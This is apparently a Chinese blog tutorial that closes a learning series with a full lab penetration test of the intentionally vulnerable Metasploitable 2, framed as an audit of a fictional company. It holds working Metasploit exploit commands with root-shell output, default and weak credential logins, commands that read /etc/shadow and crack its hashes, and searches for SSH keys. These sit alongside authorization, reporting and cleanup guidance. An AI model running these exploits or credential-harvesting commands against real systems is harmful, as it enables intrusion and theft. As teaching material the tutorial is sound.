黑客之路:五部曲系列
第一部分:入门 → 第二部分:Flipper精通 → 第三部分:Kali基础 → 第四部分:漏洞利用 → 第五部分:完整审计
你从好奇黑客到底在做什么开始了这个系列。你了解到,这不是关于连帽衫和绿色屏幕文字。这是有条不紊的问题解决。你克隆了门禁卡,绘制了网络拓扑,捕获了握手包,在漏洞机器上获得了shell。
现在我们把一切整合起来。这篇文章将带你完成一次针对虚构目标的完整渗透测试。每个阶段、每个决策、每个发现,都按照专业人士的方式记录。
场景设定
客户: Initech Labs(一家虚构的小型科技公司)
范围: 内部网络渗透测试
目标: 识别漏洞并展示潜在的业务影响
你的目标: 你自己的实验室网络(Kali + Metasploitable 2 + 你搭建的其他虚拟机)
倒杯咖啡。接下来会很有趣。
第一阶段:前期准备
在触碰键盘之前,专业渗透测试人员会先处理业务方面的事项。跳过这一步,你就不是渗透测试人员。你只是一个在犯罪的人。
范围界定电话会议
在真实项目中,你会与客户通话以了解:
- 什么在范围内? 哪些网络、IP范围、应用程序?
- 什么在范围外? 生产系统?第三方服务?
- 测试窗口? 什么时候可以测试?只能在工作时间?
- 联系人? 如果出了问题找谁?
- 目标? 合规打勾还是真正的安全改进?
针对你的实验室
范围: 仅你的隔离实验室网络。范围外: 地球上的一切其他东西。测试窗口: 随时。目标: 在实践中学习。
参与规则
真实项目有书面规则。以下是它们通常涵盖的内容:
- 授权书 - 证明你有权限的签名文件
- 升级程序 - 发现严重问题时该怎么做
- 数据处理 - 如何处理你遇到的敏感数据
- 清理要求 - 完成后删除所有工具和后门
- 报告时间线 - 最终报告何时到期?
务必获得书面授权
即使是对朋友网络的"友好"测试也一样。一封签名的邮件写着"你有权限在某日至某日测试我的网络"可能就是学习经历和刑事定罪之间的区别。认真对待这件事。
第二阶段:侦察
是时候了解目标的一切了。在真实项目中,这将包括OSINT(开源情报):Google搜索、LinkedIn档案、公司网站、DNS记录。对于我们的实验室,我们直接进入主动侦察。
步骤1:网络发现
第一个问题:这个网络上有什么?
bash# 查找你的网络范围
ip a | grep inet
# 寻找类似:inet 192.168.56.100/24
# 发现所有存活主机
sudo nmap -sn 192.168.56.0/24 -oA discovery
# 结果(示例):
Nmap scan report for 192.168.56.1
Host is up (0.00032s latency).
Nmap scan report for 192.168.56.101
Host is up (0.00089s latency).
Nmap scan report for 192.168.56.102
Host is up (0.00045s latency).记录一切。创建如下笔记:
text# Initech Labs - 网络发现
# 日期:2026-03-08
# 测试人员:你的名字
192.168.56.1 - 网关/路由器
192.168.56.101 - 未知(待调查)
192.168.56.102 - 未知(待调查)步骤2:端口扫描
现在深入挖掘。运行着哪些服务?
bash# 带服务检测的全端口扫描
sudo nmap -sV -sC -p- -oA full_scan 192.168.56.101
# 这需要一些时间。学习期间要更快的结果:
sudo nmap -sV -sC --top-ports 1000 -oA quick_scan 192.168.56.101在Metasploitable 2上,你会看到一座宝库:
textPORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
80/tcp open http Apache httpd 2.2.8
139/tcp open netbios-ssn Samba smbd 3.X
445/tcp open netbios-ssn Samba smbd 3.X
3306/tcp open mysql MySQL 5.0.51a
5432/tcp open postgresql PostgreSQL DB
...暴露程度惊人。更新我们的笔记:
text192.168.56.101 - Linux服务器(Metasploitable)
- FTP (21): vsftpd 2.3.4 # 已知后门!
- SSH (22): OpenSSH 4.7p1 # 古董级别
- Telnet (23): 活跃 # 2026年了为什么还有这个?
- HTTP (80): Apache 2.2.8 # 待测试的Web应用
- SMB (139/445): Samba 3.X # 潜在的金矿
- MySQL (3306): 5.0.51a # 数据库访问?
- PostgreSQL (5432): 活跃 # 另一个数据库步骤3:漏洞识别
是时候看看什么是真正可利用的了。
bash# 运行漏洞扫描脚本
sudo nmap --script vuln -oA vuln_scan 192.168.56.101
# 在Metasploit中检查特定服务
msfconsole
msf6 > search vsftpd
msf6 > search samba 3
msf6 > search apache 2.2vsftpd 2.3.4后门立刻引起注意。那是一个确定的shell。但优秀的渗透测试人员不会在第一个发现处停下。你要记录一切。
第三阶段:漏洞利用
这里是事情变得精彩的地方。我们有多个潜在的入口点。让我们系统地逐一突破。
攻击向量1:FTP后门
bashmsf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(...) > set RHOSTS 192.168.56.101
msf6 exploit(...) > exploit
[*] Banner: 220 (vsFTPd 2.3.4)
[*] USER: 331 Please specify the password.
[+] Backdoor service has been spawned
[+] Command shell session 1 opened
whoami
root
id
uid=0(root) gid=0(root)发现已记录: 通过FTP后门获得root shell。从首次扫描到完全入侵的时间:大约10分钟。
但我们不止于此。还能进入哪里?
攻击向量2:Samba
bash# 将当前会话放到后台
background
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(...) > set RHOSTS 192.168.56.101
msf6 exploit(...) > exploit
[*] Command shell session 2 opened
whoami
root通过不同的向量获得了另一个root shell。这是两条独立的完全入侵路径。
攻击向量3:Web应用
让我们看看80端口上运行着什么。
bash# 枚举Web目录
gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirb/common.txt
# 结果:
/cgi-bin/ (Status: 403)
/dav/ (Status: 301)
/icons/ (Status: 301)
/index (Status: 200)
/phpMyAdmin/ (Status: 301)
/phpinfo (Status: 200)
/test/ (Status: 301)
/twiki/ (Status: 301)
# 运行nikto获取更多发现
nikto -h http://192.168.56.101phpMyAdmin使用默认凭据?验证一下:
text# 尝试常见凭据
Username: root
Password:(空)
# 访问成功!无需密码即可获得数据库管理员权限。从这里,我们可以导出所有数据、修改记录,或利用MySQL的文件操作写入Web shell。
攻击向量4:SSH弱凭据
bashmsf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS 192.168.56.101
msf6 auxiliary(...) > set USERNAME msfadmin
msf6 auxiliary(...) > set PASSWORD msfadmin
msf6 auxiliary(...) > run
[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'弱凭据授予SSH访问权限。不是root,但我们会在后渗透阶段处理。
第四阶段:后渗透
我们有了访问权限。接下来呢?真正的渗透测试要展示业务影响。攻击者拥有这个权限后到底能做什么?
凭据收集
bash# 从我们的root shell
cat /etc/shadow
root:$1$xyz...truncated...:14889:0:99999:7:::
msfadmin:$1$abc...truncated...:14889:0:99999:7:::
user:$1$def...truncated...:14889:0:99999:7:::
postgres:$1$ghi...truncated...:14889:0:99999:7:::
# 保存用于离线破解
cat /etc/passwd > /tmp/passwd.txt
cat /etc/shadow > /tmp/shadow.txt
# 在Kali上破解
unshadow passwd.txt shadow.txt > combined.txt
john --wordlist=/usr/share/wordlists/rockyou.txt combined.txt网络侦察(从内部)
bash# 这台机器能访问哪些其他网络?
ifconfig
route -n
cat /etc/hosts
arp -a
# 什么在连接这台机器?
netstat -tulpn
ss -tulpn
# 查找SSH密钥(用于横向移动)
find / -name "id_rsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null敏感数据发现
bash# 查找有趣的文件
find / -name "*.conf" 2>/dev/null | head -20
find / -name "*.sql" 2>/dev/null
find / -name "*.bak" 2>/dev/null
find / -name "*password*" 2>/dev/null
# 检查常见配置位置
cat /var/www/*/config.php 2>/dev/null
cat /etc/mysql/my.cnf
# 数据库枚举
mysql -u root -p # 尝试空密码
mysql> SHOW DATABASES;
mysql> SELECT * FROM mysql.user;权限提升(从msfadmin)
还记得用msfadmin登录SSH吗?让我们利用第四部分学到的知识提升到root。
bash# 以msfadmin身份SSH登录
ssh [email protected]
# 检查sudo权限
sudo -l
# (输出可能不同,但让我们检查其他向量)
# 查找SUID二进制文件
find / -perm -4000 2>/dev/null
# 查找root运行的可写脚本
cat /etc/crontab
# 上传并运行LinPEAS进行全面检查
# (在实际场景中,第四部分已经涵盖)第五阶段:文档与发现
没有报告的测试毫无价值。这就是专业人士和脚本小子的区别。你需要解释你发现了什么、为什么重要、以及如何修复。
发现摘要
以下是我们在"Initech Labs"网络中的发现,按照真实报告的格式呈现:
严重:FTP服务后门(CVE-2011-2523)
受影响系统: 192.168.56.101
风险: 远程未认证代码执行,获得root权限
证据: 在60秒内获得完整root shell
建议: 立即将vsftpd更新到当前版本或完全禁用FTP服务。
严重:Samba远程代码执行
受影响系统: 192.168.56.101
风险: 远程未认证代码执行,获得root权限
证据: 通过usermap_script利用获得完整root shell
建议: 将Samba更新到当前版本。限制SMB访问仅限必要系统。
高:MySQL Root无密码访问
受影响系统: 192.168.56.101
风险: 完全数据库入侵、数据窃取、Web shell部署
证据: 通过phpMyAdmin使用空密码以root身份登录
建议: 设置强root密码。限制phpMyAdmin访问。考虑完全移除phpMyAdmin。
高:SSH弱凭据
受影响系统: 192.168.56.101
风险: 认证访问导致权限提升
证据: msfadmin:msfadmin成功认证
建议: 实施强密码策略。实施基于SSH密钥的认证。考虑使用fail2ban。
中:Telnet服务已启用
受影响系统: 192.168.56.101
风险: 凭据以明文传输
证据: 端口23开放并接受连接
建议: 禁用Telnet。使用SSH进行所有远程管理。
低:phpinfo()页面暴露
受影响系统: 192.168.56.101
风险: 信息泄露有助于进一步攻击
证据: http://192.168.56.101/phpinfo无需认证即可访问
建议: 删除或限制对phpinfo页面的访问。
执行摘要
这是高管们真正会看的部分。保持简短、有影响力、不用术语:
执行摘要
在对Initech Labs内部网络的渗透测试中,安全团队在评估开始后10分钟内即获得了主服务器的完全管理控制权。
关键发现:
- 2个严重漏洞允许立即远程接管
- 2个高危问题暴露数据库和用户凭据
- 多个中低危发现表明系统性安全缺陷
结论: 具备基本技能的攻击者可以在几分钟内完全入侵该系统。所有严重和高危发现需要立即修复。建议在修复完成后进行后续评估。
第六阶段:清理与收尾
专业的渗透测试人员会让环境保持与发现时完全一样的状态。
bash# 记录所有会话
msf6 > sessions -l
# 终止所有会话
msf6 > sessions -K
# 在目标上(如果你创建了任何文件):
rm /tmp/linpeas.sh
rm /tmp/*.txt
# 删除你创建的所有用户
userdel testuser
# 删除你添加的所有SSH密钥
rm /home/*/.ssh/authorized_keys
# 记录你删除的一切在真实项目中,你还需要:
- 删除测试期间上传的所有工具
- 记录对环境做出的任何更改
- 提供你提取的任何数据的哈希/校验和
- 在交付报告后安全删除所有客户数据
完整方法论清单
以下是你可以在任何渗透测试中重复使用的工作流程:
渗透测试方法论
- 前期准备
- 定义范围和参与规则
- 获得书面授权
- 建立沟通渠道
- 搭建测试环境
- 侦察
- 网络发现(主机枚举)
- 端口扫描和服务识别
- 漏洞扫描
- Web应用枚举
- 记录一切
- 漏洞利用
- 验证漏洞(不要盲目信任扫描器)
- 利用已确认的漏洞
- 记录每次成功入侵
- 捕获证据(截图、日志)
- 后渗透
- 枚举被入侵系统
- 收集凭据
- 识别敏感数据
- 尝试权限提升
- 寻找横向移动机会
- 报告
- 撰写执行摘要(业务影响)
- 记录所有发现及证据
- 提供修复建议
- 为IT团队包含技术细节
- 清理
- 删除所有工具和痕迹
- 终止所有会话和后门
- 记录任何环境变更
- 安全处理客户数据
接下来:你的前进之路
你已经完成了黑客之路。你从"黑客到底是什么意思"走到了进行完整的渗透测试。这真的令人印象深刻。
但这只是开始。以下是接下来的方向:
练习平台
- Hack The Box - 真实的练习机器。从已退役的"Easy"级别开始。
- TryHackMe - 引导式学习路径。非常适合结构化进步。
- VulnHub - 免费的漏洞虚拟机,下载后在本地练习。
- PentesterLab - 专注Web应用安全。
认证(如果你需要的话)
- eJPT (eLearnSecurity Junior Penetration Tester) - 很好的起点,实操考试
- OSCP (Offensive Security Certified Professional) - 行业标准,艰难但受尊重
- PNPT (Practical Network Penetration Tester) - 现代化、实用,包含报告撰写
- CEH (Certified Ethical Hacker) - 企业岗位的入场券,实操性较弱
专业方向
- Web应用安全 - OWASP、Burp Suite、SQL注入、XSS
- Active Directory - 大多数企业环境都运行在上面
- 云安全 - AWS、Azure、GCP渗透测试
- 移动安全 - Android/iOS应用测试
- Red Teaming - 完整对手模拟,物理+数字
- 逆向工程 - 恶意软件分析、漏洞利用开发
建设你的家庭实验室
最优秀的渗透测试人员拥有精心搭建的家庭实验室。从简单开始,逐步扩展:
- 添加带Active Directory的Windows Server
- 搭建域控制器
- 部署漏洞Web应用(DVWA、bWAPP、WebGoat)
- 构建多网段网络
- 添加HoneyAegis,从防御者的视角观察攻击
黑客之路:完结
你做到了。五个部分全部完成,从好奇到有能力。
第一部分:入门 第二部分:Flipper精通 第三部分:Kali基础 第四部分:漏洞利用 第五部分:完整审计
系列完结 - 你的旅程
第一部分: 你了解了黑客的真正含义,并用Flipper Zero取得了第一次胜利
第二部分: 你掌握了Flipper的每个协议:Sub-GHz、RFID、NFC、BadUSB、GPIO
第三部分: 你搭建了Kali实验室,学会了nmap,捕获了WiFi握手包
第四部分: 你掌握了Metasploit、漏洞利用、权限提升和横向移动
第五部分: 你将一切整合为完整的渗透测试方法论
安全不是终点。它是一种实践。工具会变,漏洞会进化,但方法论始终如一。质疑一切。记录一切。永不停止学习。
欢迎来到另一边。
- Lee